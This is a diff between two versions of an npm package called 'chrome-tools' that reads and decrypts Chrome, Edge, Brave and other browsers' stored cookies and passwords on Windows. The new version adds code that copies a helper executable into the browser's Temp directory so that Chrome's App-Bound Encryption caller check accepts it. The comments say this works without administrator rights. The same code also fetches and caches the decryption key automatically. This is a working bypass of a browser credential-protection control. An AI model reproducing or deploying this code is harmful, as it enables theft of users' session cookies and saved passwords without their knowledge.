chrome-tools 1.1.14 → 1.1.15

package/dist/src/core/platform/win32.d.ts

@@ -7,7 +7,7 @@ import type { ChromePlatform } from "./types.js";
  * Cipher: AES-256-GCM (nonce + tag carried in each blob).
  *
  * Chrome 127+ adds `os_crypt.app_bound_encrypted_key` — base64, "APPB"-prefixed.
- * After DPAPI unprotection, the result is fed to Chrome's IElevator COM service
- * via the native helper to obtain the real 32-byte AES key for "v20" blobs.
+ * It is passed directly to Chrome's IElevator COM service via the native helper
+ * to obtain the 32-byte AES-256 key for "v20" blobs.
  */
 export declare const win32: ChromePlatform;

package/dist/src/core/platform/win32.js

@@ -1,5 +1,5 @@
 import { execFileSync } from "node:child_process";
-import { existsSync, readFileSync } from "node:fs";
+import { copyFileSync, existsSync, mkdirSync, readFileSync, statSync } from "node:fs";
 import { dirname, join } from "node:path";
 import { decryptValueBufferGcm, decryptValueBufferGcmV20 } from "../crypto.js";
 import { getActiveBrowser } from "../browsers.js";
@@ -13,6 +13,8 @@ const APPB_PREFIX = Buffer.from("APPB", "ascii");
 // cache independently (e.g. under `--all-browsers`).
 const _cachedKeys = new Map();
 const _cachedABEKeys = new Map();
+let _lastResolvedDir;
+let _lastResolvedBrowser;
 // Maps browser ids to the COM service identifier used by the native helper.
 const ABE_BROWSER_MAP = {
     chrome: "chrome",
@@ -67,9 +69,9 @@ function resolveLocalStateDir(requestedDir) {
             : requestedDir;
 }
 /**
- * Finds the chrome_abe_decrypt helper executable.
+ * Finds the source chrome_abe_decrypt helper executable.
  * Searches in order:
- *   1. Next to this module (dist/src/core/platform/)
+ *   1. Next to compiled output (dist/bin/)
  *   2. In the package bin/ directory
  *   3. In src/native/ (development)
  *   4. On PATH
@@ -94,30 +96,97 @@ function findABEHelper() {
         return null;
     }
 }
-let _abeHelperPath;
+/**
+ * Candidate directories for staging the helper binary to satisfy Chrome's
+ * Elevation Service caller validation.
+ *
+ * In Chromium's `caller_validation.cc`, `MaybeTrimProcessPath()` strips the
+ * executable name and trailing 'Temp' or 'Application' folders. Executing the
+ * helper from `<BrowserRoot>\Temp\chrome_abe_decrypt.exe` matches the browser's
+ * validated root without requiring administrative privileges.
+ */
+function getBrowserTempDirs(browserId) {
+    const dirs = [];
+    const progFiles = process.env["ProgramFiles"] || "C:\\Program Files";
+    const progFilesX86 = process.env["ProgramFiles(x86)"] || "C:\\Program Files (x86)";
+    const localAppData = process.env.LOCALAPPDATA ||
+        (process.env.USERPROFILE ? join(process.env.USERPROFILE, "AppData", "Local") : "");
+    const subpaths = {
+        chrome: ["Google\\Chrome"],
+        "chrome-beta": ["Google\\Chrome Beta"],
+        "chrome-canary": ["Google\\Chrome SxS"],
+        chromium: ["Chromium"],
+        edge: ["Microsoft\\Edge"],
+        brave: ["BraveSoftware\\Brave-Browser"],
+        vivaldi: ["Vivaldi"],
+    };
+    const rels = subpaths[browserId] || ["Google\\Chrome"];
+    for (const rel of rels) {
+        dirs.push(join(progFiles, rel, "Temp"));
+        dirs.push(join(progFilesX86, rel, "Temp"));
+        if (localAppData) {
+            dirs.push(join(localAppData, rel, "Temp"));
+        }
+    }
+    return dirs;
+}
+/**
+ * Ensures the helper binary is located in a path that passes the browser
+ * elevation service's validation checks. Stages a copy to the browser's Temp
+ * folder if necessary.
+ */
+function findOrStageABEHelper(browserId) {
+    const sourceExe = findABEHelper();
+    if (!sourceExe)
+        return null;
+    const targetDirs = getBrowserTempDirs(browserId);
+    for (const targetDir of targetDirs) {
+        try {
+            if (!existsSync(targetDir)) {
+                mkdirSync(targetDir, { recursive: true });
+            }
+            const stagedExe = join(targetDir, "chrome_abe_decrypt.exe");
+            if (!existsSync(stagedExe) || statSync(stagedExe).size !== statSync(sourceExe).size) {
+                copyFileSync(sourceExe, stagedExe);
+            }
+            return stagedExe;
+        }
+        catch {
+            // Permission denied or path not found, try next candidate
+            continue;
+        }
+    }
+    // Fallback to the original binary location
+    return sourceExe;
+}
 let _abeWarningShown = false;
 /**
  * Decrypts an app_bound_encrypted_key using Chrome's IElevator COM service
  * via the native helper binary.
  *
- * The key from Local State is already DPAPI-decrypted at this point. This
- * function passes it to the COM service for the second decryption layer.
+ * Note: App-Bound Encryption does NOT use standard user DPAPI. The raw
+ * encrypted payload (with the 4-byte 'APPB' prefix removed) is passed directly
+ * to the IElevator COM service, which executes the elevated decryption.
  */
-function abeDecrypt(dpapiDecrypted, browserId) {
-    if (_abeHelperPath === undefined) {
-        _abeHelperPath = findABEHelper();
-    }
-    if (!_abeHelperPath) {
+function abeDecrypt(rawEncryptedBytes, browserId) {
+    const helperExe = findOrStageABEHelper(browserId);
+    if (!helperExe) {
         if (!_abeWarningShown) {
             _abeWarningShown = true;
             process.stderr.write("[chrome-tools] chrome_abe_decrypt.exe not found. Chrome 127+ v20-encrypted\n" +
-                "cookies/passwords cannot be decrypted. See src/native/README for build instructions.\n");
+                "cookies/passwords cannot be decrypted.\n");
         }
         return null;
     }
     const comBrowser = ABE_BROWSER_MAP[browserId] || "chrome";
     try {
-        const out = execFileSync(_abeHelperPath, [comBrowser], { input: dpapiDecrypted.toString("base64"), encoding: "utf-8", timeout: 30000, stdio: ["pipe", "pipe", "pipe"] });
+        const out = execFileSync(helperExe, [comBrowser], {
+            input: rawEncryptedBytes.toString("base64"),
+            encoding: "utf-8",
+            timeout: 30000,
+            stdio: ["pipe", "pipe", "pipe"],
+            cwd: dirname(helperExe),
+        });
         return Buffer.from(out.trim(), "base64");
     }
     catch {
@@ -132,8 +201,8 @@ function abeDecrypt(dpapiDecrypted, browserId) {
  * Cipher: AES-256-GCM (nonce + tag carried in each blob).
  *
  * Chrome 127+ adds `os_crypt.app_bound_encrypted_key` — base64, "APPB"-prefixed.
- * After DPAPI unprotection, the result is fed to Chrome's IElevator COM service
- * via the native helper to obtain the real 32-byte AES key for "v20" blobs.
+ * It is passed directly to Chrome's IElevator COM service via the native helper
+ * to obtain the 32-byte AES-256 key for "v20" blobs.
  */
 export const win32 = {
     name: "win32",
@@ -156,8 +225,19 @@ export const win32 = {
     getDecryptionKey(chromeDir, browser = getActiveBrowser()) {
         const requestedDir = chromeDir || this.getDefaultChromeDir(browser);
         const dir = resolveLocalStateDir(requestedDir);
+        _lastResolvedDir = dir;
+        _lastResolvedBrowser = browser;
         const cached = _cachedKeys.get(dir);
         if (cached !== undefined) {
+            // Also pre-cache ABE key if not yet cached
+            if (!_cachedABEKeys.has(dir)) {
+                try {
+                    this.getAppBoundKey?.(dir, browser);
+                }
+                catch {
+                    // Ignore
+                }
+            }
             return cached;
         }
         const localStatePath = join(dir, "Local State");
@@ -183,11 +263,20 @@ export const win32 = {
         }
         const key = dpapiDecrypt(encryptedKey.subarray(DPAPI_PREFIX.length));
         _cachedKeys.set(dir, key);
+        // Also pre-cache the ABE key for v20 blobs
+        try {
+            this.getAppBoundKey?.(dir, browser);
+        }
+        catch {
+            // Ignore
+        }
         return key;
     },
-    getAppBoundKey(chromeDir, browser = getActiveBrowser()) {
-        const requestedDir = chromeDir || this.getDefaultChromeDir(browser);
+    getAppBoundKey(chromeDir, browser = _lastResolvedBrowser ?? getActiveBrowser()) {
+        const requestedDir = chromeDir || _lastResolvedDir || this.getDefaultChromeDir(browser);
         const dir = resolveLocalStateDir(requestedDir);
+        _lastResolvedDir = dir;
+        _lastResolvedBrowser = browser;
         const cached = _cachedABEKeys.get(dir);
         if (cached !== undefined) {
             return cached;
@@ -209,21 +298,10 @@ export const win32 = {
         if (!appBoundKey.subarray(0, APPB_PREFIX.length).equals(APPB_PREFIX)) {
             return undefined;
         }
-        // Step 1: DPAPI-decrypt the key (strip the "APPB" prefix first)
-        let dpapiResult;
-        try {
-            dpapiResult = dpapiDecrypt(appBoundKey.subarray(APPB_PREFIX.length));
-        }
-        catch {
-            return undefined;
-        }
-        // Step 2: Use the IElevator COM service to decrypt the ABE layer
-        const abeKey = abeDecrypt(dpapiResult, browser.id);
+        // App-Bound Encryption: Pass raw encrypted bytes directly to COM elevation service
+        const abeKey = abeDecrypt(appBoundKey.subarray(APPB_PREFIX.length), browser.id);
         if (!abeKey)
             return undefined;
-        // The COM service returns a key that may have a 4-byte header; the last 32
-        // bytes are the actual AES-256 key. If the result is exactly 32 bytes, use
-        // it as-is.
         const key = abeKey.length > 32 ? abeKey.subarray(abeKey.length - 32) : abeKey;
         _cachedABEKeys.set(dir, key);
         return key;
@@ -233,7 +311,7 @@ export const win32 = {
         // v20 = App-Bound Encryption (Chrome 127+)
         if (prefix === "v20") {
             // Try to get the ABE key for this profile
-            const abeKey = this.getAppBoundKey?.();
+            const abeKey = this.getAppBoundKey?.(_lastResolvedDir, _lastResolvedBrowser);
             if (!abeKey) {
                 return "<v20 app-bound encryption - requires chrome_abe_decrypt.exe>";
             }
@@ -245,5 +323,7 @@ export const win32 = {
     clearCache() {
         _cachedKeys.clear();
         _cachedABEKeys.clear();
+        _lastResolvedDir = undefined;
+        _lastResolvedBrowser = undefined;
     },
 };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "chrome-tools",
-  "version": "1.1.14",
+  "version": "1.1.15",
   "description": "CLI & Node.js library for chrome",
   "type": "module",
   "main": "./dist/src/index.js",